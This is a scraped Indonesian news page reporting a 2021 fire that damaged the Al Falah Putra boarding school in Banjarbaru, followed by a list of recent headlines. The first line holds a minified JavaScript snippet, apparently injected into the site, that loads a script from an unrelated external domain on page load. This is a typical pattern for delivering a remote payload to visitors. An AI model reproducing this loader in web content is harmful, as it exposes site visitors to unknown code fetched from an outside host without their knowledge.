(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Bangunan Ponpes Al Falah Rusak, Ketua Yayasan Berharap Perhatian Pemerintah


KANALKALIMANTAN.COM, BANJARBARU– Musibah kebakaran yang menimpa Pondok Pesantren Al Falah Putra Banjarbaru, di Jalan A Yani KM 23,500 Landasan Ulin, Kamis (15/7/2021) pukul 05.15 Wita, menyebabkan kerugian tak sedikit. Ditaksir, jumlah kerugian akibat kebakaran tersebut mencapai Rp 2 miliar.

Ustadz Nur Syahid Ramli, selaku Ketua Pengurus Yayasan Pondok Pesantren Al Falah kepada Kanalkalimantan.com menjelaskan, akan menggelar musyawarah dengan jajaran pengurus, dewan guru, hingga alumni terkait musibah tersebut.

“Kami nanti akan memusyawarahkan dengan jajaran yayasan, jajaran dewan guru dan juga menyampaikan kepada pemko Banjarbaru dan Provinsi. Mudah-mudahhan kami bisa menyampaikan kepada mereka semua,” katanya.

Langkah tersebut dilakukan, agar pemerintah mengetahui musibah yang terjadi di Pondok Pesantren Al Falah.

 

 

Baca juga: Kali Kedua Kebakaran Besar di Ponpes Al Falah Banjarbaru, Sebelumnya Terjadi Tahun 2018

“Apabila pemerintah nantinya akan memberi atau tidak memberi bantuan, kami hanya menyampaikan saja. Akan tetapi saya meminta sedikit simpatiknya. Kami akan musyawarahkan terlebih dahulu terkait hal itu, mudah-mudahan kami bisa secepatnya kami membangun,” tandasnya.

Sebagaimana disampaikan, musibah ini bukan pertama kali terjadi. Tiga tahun sebelumnya, tepatnya Selasa (6/3/2018) silam, kebakaran juga terjadi menghanguskan sejumlah ruang kelas di ponpes yang memiliki ribuan santri tersebut.

Baca juga: Kitab dan Buku Senilai Rp 100 Juta di Ponpes Al Falah Ikut Hangus Terbakar

Tahun 2018 lalu, diduga akibat hubungan arus pendek listrik, api melahap 4 ruang kelas di Pondok Pesantren (Ponpes) Al Falah Putra. Akibatnya ruang kelas tidak lagi bisa digunakan untuk proses belajar mengajar.

“Hanya buku ini yang tersisa dari banyaknya buku, sempat ikut terkabar buku ini lihat saja lemari ini aja udah mau menghitam,” ucap Qurtubi, salah satu santri.

“Alhamdulillah ada buku dan kitab masih tersisa, mulai besok mari kita sama sama menjaga dan memperhatikan ruangan agar terhindar dari hal yang tak diinginkan,” ucapnya. (Kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

5 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

9 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

10 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

13 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

15 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

16 jam ago